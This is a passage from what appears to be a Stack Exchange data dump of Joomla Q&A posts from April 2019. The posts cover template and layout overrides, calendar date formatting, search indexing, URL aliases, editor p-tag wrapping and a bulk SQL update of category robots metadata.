option=&quot;COM_CONTENT_CATEGORY_VIEW_MYEVENTS_OPTION&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Depending on the template you are using you might have to edit some of the other myevents*.* files.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a language override for  COM_CONTENT_CATEGORY_VIEW_MYEVENTS_OPTION in the back end.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create/Edit your Menu Item and you will now see a selection under Articles for 'My Events List'&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And that is pretty much it.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-04-01T19:37:51.380" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24423" PostTypeId="1" AcceptedAnswerId="24424" CreationDate="2019-04-01T20:34:48.680" Score="0" ViewCount="49" Body="&lt;p&gt;I have a theme which is overriding the default Joomla login which works fine in the header (click for popup login box) but I would like the default Joomla login in the right hand sidebar on certain pages.&#xA;What do I need to do to be able to have both styles of login?&lt;/p&gt;&#xA;" OwnerUserId="13428" LastEditorUserId="9471" LastEditDate="2019-04-02T12:20:14.653" LastActivityDate="2019-05-02T13:01:40.253" Title="Multiple mod_login styles" Tags="|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24424" PostTypeId="2" ParentId="24423" CreationDate="2019-04-02T05:34:57.620" Score="0" Body="&lt;p&gt;Give your override a custom name, e.g. &lt;code&gt;popup.php&lt;/code&gt;. Edit the module and in &lt;code&gt;Advanced&lt;/code&gt; tab select the custom layout in &lt;code&gt;Layout&lt;/code&gt; field.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-04-02T05:34:57.620" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24425" PostTypeId="1" CreationDate="2019-04-02T07:52:10.503" Score="0" ViewCount="38" Body="&lt;p&gt;I activated the Zoo search plugin as described at &lt;a href=&quot;https://yootheme.com/support/zoo/search-plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://yootheme.com/support/zoo/search-plugin&lt;/a&gt; and yet what inside YOOtheme text modules (created using the YOOtheme builder) isn't indexed for the search (not even when I start the indexing process manually). Am I possibly missing something? What has to be configured so this content is indexed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Indexing traditional Joomla articles and ZOO-powered blog posts works though.&lt;/p&gt;&#xA;" OwnerUserId="13430" LastActivityDate="2019-04-02T22:15:47.363" Title="Index content of YOOtheme text modules" Tags="|joomla-3.x|search|smartsearch|zoo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24427" PostTypeId="2" ParentId="24425" CreationDate="2019-04-02T22:15:47.363" Score="1" Body="&lt;p&gt;The link you provide says it will index '... Items and Categories of Zoo' so it is likely the text you are including in the Zoo text module is not searched. An email to YOO might confirm this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugins to Joomla Search normally define extra database tables, in this case Zoo Items and Categories, to be including in searching and indexing. How or where Zoo stores the information in your text module would determine whether it is indexed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Terry&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-04-02T22:15:47.363" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24432" PostTypeId="1" CreationDate="2019-04-04T08:41:22.920" Score="2" ViewCount="2043" Body="&lt;p&gt;In a form I have a date/time-field. It works correctly, but the format of the date isn't right -- I require Dutch date notation (&lt;code&gt;d-m-Y&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of day-month-year it displays and saves it as year-month-day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;calendar()&lt;/code&gt; method call looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHTML::calendar($formattedDate, 'jform[created]', 'jform_created', &quot;%Y-%m-%d %H:%M&quot;, array('showTime' =&amp;gt; 'showTime', 'class' =&amp;gt; 'inputbox'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;$formattedDate&lt;/code&gt; is a string like &lt;code&gt;26-04-2019 08:45&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I change the fourth parameter from &lt;code&gt;&quot;%Y-%m-%d %H:%M&quot;&lt;/code&gt; to &lt;code&gt;&quot;%d-%m-%Y %H:%M&quot;&lt;/code&gt; the form field is empty after saving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the correct way to display and save the date as d-m-y?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Joomla version is 3.9.4 and PHP version is 7.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data type of &lt;code&gt;created&lt;/code&gt; column in the table #__content is datetime, default value is &lt;code&gt;0000-00-00 00:00:00&lt;/code&gt;.  The other form values are being saved, only this custom one is not. This date column is not the only field I added to the override. I've tried &lt;code&gt;$this-&amp;gt;form-&amp;gt;renderField('created')&lt;/code&gt; at first, but it only displays the date, not the time.  There are no warning, notices errors, or other hints generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my override in the frontend management of &lt;strong&gt;/components/com_content/form/edit.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php    &#xA;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  com_content&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;JHtml::_('behavior.tabstate');&#xA;JHtml::_('behavior.keepalive');&#xA;JHtml::_('behavior.formvalidator');&#xA;JHtml::_('formbehavior.chosen', '#jform_catid', null, array('disable_search_threshold' =&amp;gt; 0));&#xA;JHtml::_('formbehavior.chosen', 'select');&#xA;$this-&amp;gt;tab_name = 'com-content-form';&#xA;$this-&amp;gt;ignore_fieldsets = array('image-intro', 'image-full', 'jmetadata', 'item_associations');&#xA;&#xA;// Create shortcut to parameters.&#xA;$params = $this-&amp;gt;state-&amp;gt;get('params');&#xA;&#xA;// This checks if the editor config options have ever been saved. If they haven't they will fall back to the original settings.&#xA;$editoroptions = isset($params-&amp;gt;show_publishing_options);&#xA;&#xA;if (!$editoroptions)&#xA;{&#xA;    $params-&amp;gt;show_urls_images_frontend = '0';&#xA;}&#xA;&#xA;JFactory::getDocument()-&amp;gt;addScriptDeclaration(&quot;&#xA;    Joomla.submitbutton = function(task)&#xA;    {&#xA;        if (task == 'article.cancel' || document.formvalidator.isValid(document.getElementById('adminForm')))&#xA;        {&#xA;            &quot; . $this-&amp;gt;form-&amp;gt;getField('articletext')-&amp;gt;save() . &quot;&#xA;            Joomla.submitform(task);&#xA;        }&#xA;    }&#xA;&quot;);&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;edit item-page&amp;lt;?php echo $this-&amp;gt;pageclass_sfx; ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;?php if ($params-&amp;gt;get('show_page_heading')) : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;page-header&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;escape($params-&amp;gt;get('page_heading')); ?&amp;gt;&#xA;        &amp;lt;/h1&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;    &amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_content&amp;amp;a_id=' . (int) $this-&amp;gt;item-&amp;gt;id); ?&amp;gt;&quot; method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;adminForm&quot; class=&quot;form-validate form-vertical&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;btn-toolbar&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;btn-group&quot;&amp;gt;&#xA;                &amp;lt;button type=&quot;button&quot; class=&quot;btn btn-primary&quot; onclick=&quot;Joomla.submitbutton('article.save')&quot;&amp;gt;&#xA;                    &amp;lt;span class=&quot;icon-ok&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;?php echo JText::_('JSAVE') ?&amp;gt;&#xA;                &amp;lt;/button&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;btn-group&quot;&amp;gt;&#xA;                &amp;lt;button type=&quot;button&quot; class=&quot;btn&quot; onclick=&quot;Joomla.submitbutton('article.cancel')&quot;&amp;gt;&#xA;                    &amp;lt;span class=&quot;icon-cancel&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;?php echo JText::_('JCANCEL') ?&amp;gt;&#xA;                &amp;lt;/button&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php if ($params-&amp;gt;get('save_history', 0) &amp;amp;&amp;amp; $this-&amp;gt;item-&amp;gt;id) : ?&amp;gt;&#xA;            &amp;lt;div class=&quot;btn-group&quot;&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('contenthistory'); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;fieldset&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.startTabSet', $this-&amp;gt;tab_name, array('active' =&amp;gt; 'editor')); ?&amp;gt;&#xA;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.addTab', $this-&amp;gt;tab_name, 'editor', JText::_('COM_CONTENT_ARTICLE_CONTENT')); ?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('title'); ?&amp;gt;&#xA;&#xA;                &amp;lt;?php if (is_null($this-&amp;gt;item-&amp;gt;id)) : ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('alias'); ?&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('articletext'); ?&amp;gt;&#xA;&#xA;                &amp;lt;?php if ($this-&amp;gt;captchaEnabled) : ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('captcha'); ?&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.endTab'); ?&amp;gt;&#xA;&#xA;            &amp;lt;?php if ($params-&amp;gt;get('show_urls_images_frontend')) : ?&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.addTab', $this-&amp;gt;tab_name, 'images', JText::_('COM_CONTENT_IMAGES_AND_URLS')); ?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('image_intro', 'images'); ?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('image_intro_alt', 'images'); ?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('image_intro_caption', 'images'); ?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('float_intro', 'images'); ?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('image_fulltext', 'images'); ?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('image_fulltext_alt', 'images'); ?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('image_fulltext_caption', 'images'); ?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('float_fulltext', 'images'); ?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('urla', 'urls'); ?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('urlatext', 'urls'); ?&amp;gt;&#xA;                &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('targeta', 'urls'); ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('urlb', 'urls'); ?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('urlbtext', 'urls'); ?&amp;gt;&#xA;                &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('targetb', 'urls'); ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('urlc', 'urls'); ?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('urlctext', 'urls'); ?&amp;gt;&#xA;                &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('targetc', 'urls'); ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.endTab'); ?&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;            &amp;lt;?php echo JLayoutHelper::render('joomla.edit.params', $this); ?&amp;gt;&#xA;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.addTab', $this-&amp;gt;tab_name, 'publishing', JText::_('COM_CONTENT_PUBLISHING')); ?&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('catid'); ?&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('tags'); ?&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('note'); ?&amp;gt;&#xA;            &amp;lt;?php if ($params-&amp;gt;get('save_history', 0)) : ?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('version_note'); ?&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;span style=&quot;display: none;&quot;&amp;gt;&#xA;                &amp;lt;?php if ($params-&amp;gt;get('show_publishing_options', 1) == 1) : ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('created_by_alias'); ?&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/span&amp;gt;&#xA;            &amp;lt;?php if ($this-&amp;gt;item-&amp;gt;params-&amp;gt;get('access-change')) : ?&amp;gt;&#xA;                &amp;lt;span style=&quot;display: none;&quot;&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('featured'); ?&amp;gt;&#xA;                &amp;lt;/span&amp;gt;&#xA;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('state'); ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('publish_up'); ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('publish_down'); ?&amp;gt;&#xA;&#xA;                &amp;lt;?php if ($params-&amp;gt;get('show_publishing_options', 1) == 1) : ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('publish_down'); ?&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&#xA;            &amp;lt;?php // Custom added by Yolknet ?&amp;gt;&#xA;&#xA;            &amp;lt;?php&#xA;            // Your date from database&#xA;            $date = JFactory::getDate($this-&amp;gt;item-&amp;gt;created);&#xA;            $formattedDate = $date-&amp;gt;format('d-m-Y H:i');&#xA;            ?&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;control-label&quot;&amp;gt;&amp;lt;label id=&quot;jform_created-lbl&quot; for=&quot;jform_created&quot;&amp;gt;Date event&amp;lt;/label&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;input-append&quot;&amp;gt;&#xA;                        &amp;lt;?php echo JHTML::calendar($formattedDate, 'jform[created]', 'jform_created', &quot;%Y-%m-%d %H:%M:%S&quot;, array('translateformat' =&amp;gt; true, 'showTime' =&amp;gt; 'showTime', 'class' =&amp;gt; 'inputbox')); ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;?php // End custom added by Yolknet ?&amp;gt;&#xA;&#xA;&#xA;                &amp;lt;span style=&quot;display: none;&quot;&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('access'); ?&amp;gt;&#xA;                &amp;lt;/span&amp;gt;&#xA;                &amp;lt;?php if (is_null($this-&amp;gt;item-&amp;gt;id)) : ?&amp;gt;&#xA;                    &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;control-label&quot;&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                            &amp;lt;?php echo JText::_('COM_CONTENT_ORDERING'); ?&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.endTab'); ?&amp;gt;&#xA;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.addTab', $this-&amp;gt;tab_name, 'language', JText::_('JFIELD_LANGUAGE_LABEL')); ?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('language'); ?&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.endTab'); ?&amp;gt;&#xA;&#xA;            &amp;lt;?php if ($params-&amp;gt;get('show_publishing_options', 1) == 1) : ?&amp;gt; &#xA;                &amp;lt;?php echo JHtml::_('bootstrap.addTab', $this-&amp;gt;tab_name, 'metadata', JText::_('COM_CONTENT_METADATA')); ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('metadesc'); ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('metakey'); ?&amp;gt;&#xA;                &amp;lt;?php echo JHtml::_('bootstrap.endTab'); ?&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.endTabSet'); ?&amp;gt;&#xA;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;&quot; /&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;return&quot; value=&quot;&amp;lt;?php echo $this-&amp;gt;return_page; ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks to the major help of @zollie the past weeks I've solved the probem. I disabled a 3rd party plugin and created an override. Now it's working correctly.&lt;/p&gt;&#xA;" OwnerUserId="8390" LastEditorUserId="8390" LastEditDate="2019-05-03T06:24:33.447" LastActivityDate="2020-01-28T09:00:28.027" Title="How to change date format in JHTML::calendar to d-m-Y?" Tags="|overrides|com-content|date|calendar|format|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="24435" PostTypeId="1" CreationDate="2019-04-04T16:09:33.047" Score="0" ViewCount="62" Body="&lt;p&gt;Main navigation items are separators and all active navigation are sub-level menu items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Main menu works perfectly but, say, navigating to the blog all the active title links add a &quot;-2&quot; suffix to the separator in the URL.&#xA;See &lt;a href=&quot;https://AlcoholJustice.org/blog&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://AlcoholJustice.org/blog&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot find an option switch or setting to remove this. There isn't a duplicate nor any reference anywhere of this suffix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please advise.&lt;/p&gt;&#xA;" OwnerUserId="13439" LastActivityDate="2023-12-10T15:07:50.957" Title="Article URL in Blog format adds suffix to menu separator" Tags="|menu-item|menu|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24437" PostTypeId="1" CreationDate="2019-04-04T18:39:27.090" Score="3" ViewCount="395" Body="&lt;p&gt;I have observed the same behavior when installing Joomla from multiple so called Quick Start Packages embedding themes and plugins. Right now, I have installed, Basic Joomla running on a production server and the same issue persists:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever an article is saved, the content is wrapped within a &lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt; tag which is visible to end users. So initially you'll write:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;My text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But after saving the article, you see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;My text&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if you save it again it becomes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;p&amp;gt;My text&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you save the article 10 times, you'll get 10 p tags surrounding the text, and these tags are not source code, they are user-visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I initially suspected some plugins; there is the JCE Editor and TinyMCE installed. I disabled TinyMCE, but the behavior persisted. I read somewhere about disabling the surrounding container option in JCE Editor, but it didn't help. So I am not sure that the issue really comes from the editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I however also found forum posts about Joomla's Text Filter, so I made sure to disable the text filter but without success: the issue persisted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the issue persists across Joomla reinstalls, I am led to think, that maybe our server environment is the problem, maybe our PHP production settings are causing this, but this gets into the territory of [spam].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We do not normally use the PHP stack, we only set it up to &quot;quickly help&quot; a client get going with a basic project, but boy, this stack is so fragile. Especially when you add CMS in the mix. The issue can be anywhere and you need to go look for Easter Eggs. Nothing to do with Java and its compile time errors and runtime stacktraces in terms of robustness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But back to the main problem, I do not know where the issue is at this point. We spent about two weeks trying to get the out-the-box experience work. We thought it would be a matter of 2 hours, half a day at most.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of this was because of the fragility of PHP mixed with our incompetence with this stack (missing PHP modules, yielding obscure error messages, and since we had no experience we had to hunt), part of this was due the buggy Quick Start Packages that our client insisted to use initially despite our security warning (you do not know the code you are running with these heavily modified, in the age of ransomware, better stick to the official source code), and part of this was due to the issue I am describing in this thread. I even got to the point of wondering if MySQL wasn't somehow adding the tags, but I don't even want to consider the possibility....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any solution/idea/pointer would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are running the latest stable Joomla version (3.9.4), with only default plugins, and all of them are updated. But once again, we experienced this problem even with older versions of Joomla shipped with the Quick Start Packages, so I do not think this is a version specific problem.&lt;/p&gt;&#xA;" OwnerUserId="13440" LastEditorUserId="9471" LastEditDate="2019-04-05T15:21:20.617" LastActivityDate="2023-12-12T02:06:55.843" Title="Joomla keeps wrapping content with user-visible p tags" Tags="|joomla-3.x|editor|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="24438" PostTypeId="2" ParentId="24435" CreationDate="2019-04-05T01:41:40.763" Score="0" Body="&lt;p&gt;Looking at your problem further I don't think the issue is with the Menu system as the page you provided with the Links is a Category List view which is getting its details from the Category not the Menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go to Content-&gt;Category and look at the list of Categories, next to the name of the Category is the Alias in Brackets and in there is the actual name used in your links. I suspect you will find a lot of them have a '-2' added to them from when you did a 'Save as Copy' or similar function to duplicate the Category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would go as far as to say your site is mostly made up of one Article per Category or Menu which is why you are getting confused. There are better ways to manage your content that will make managing your site a lot easier and more friendly to search engines. Essentially one category, say Blog, should have lots of Articles, not a category for each article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Terry&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-04-05T01:41:40.763" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24439" PostTypeId="1" AcceptedAnswerId="24475" CreationDate="2019-04-05T07:44:42.360" Score="0" ViewCount="61" Body="&lt;p&gt;I would like to ask the user some questions in a dialog way during installation of my component. As far as I know, this could be done in the preflight method. But I am not sure how to do user interaction there. &lt;/p&gt;&#xA;" OwnerUserId="13441" LastActivityDate="2019-04-12T19:47:02.063" Title="How to write a complex installer script for a component?" Tags="|joomla-3.x|component|development|installation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24440" PostTypeId="1" AcceptedAnswerId="24441" CreationDate="2019-04-05T13:58:54.090" Score="0" ViewCount="102" Body="&lt;p&gt;How can I access in a custom component the full path to &lt;code&gt;tmp&lt;/code&gt; directory configured in the Joomla configuration? I have changed the &lt;code&gt;tmp&lt;/code&gt; directory to be outside of the Joomla! installation.&lt;/p&gt;&#xA;" OwnerUserId="9001" LastEditorUserId="3956" LastEditDate="2019-04-08T05:25:03.267" LastActivityDate="2019-04-08T05:25:03.267" Title="Accessing path to tmp directory in my component" Tags="|component|joomla-2.5|development|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24441" PostTypeId="2" ParentId="24440" CreationDate="2019-04-05T18:47:50.873" Score="0" Body="&lt;p&gt;In 2.5:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getConfig()-&amp;gt;get('tmp_path')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;getCfg('tmp_path')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In newer versions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;get('tmp_path')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-04-05T18:47:50.873" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24442" PostTypeId="2" ParentId="24308" CreationDate="2019-04-06T13:41:14.423" Score="1" Body="&lt;p&gt;Having the same problem I went down to the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with this SQL you can update &lt;strong&gt;ALL&lt;/strong&gt; categories to noindex and to nofollow for search engines (google, bing, yandex)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE `jos_categories` SET `metadata`='{&quot;author&quot;:&quot;&quot;,&quot;robots&quot;:&quot;noindex, nofollow&quot;}' WHERE `extension`='com_content'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you need to find out your table prefix, in the above example jos_ is the default prefix of joomla. If your table prefix is xzhw_ of course your SQL would be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE `xzhw_categories` SET `metadata`='{&quot;author&quot;:&quot;&quot;,&quot;robots&quot;:&quot;noindex, nofollow&quot;}' WHERE `extension`='com_content'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;be careful&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you use categories for displaying other content in e.g. a category blog, &lt;strong&gt;DO NOT USE THE SQL&lt;/strong&gt;. Instead you should eiher select your categories in the WHERE clause or even better you go manually through the categories in the backend of joomla and you edit under Publish-tab the Robots to noindex, nofollow&lt;/p&gt;&#xA;" OwnerUserId="13241" LastActivityDate="2019-04-06T13:41:14.423" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
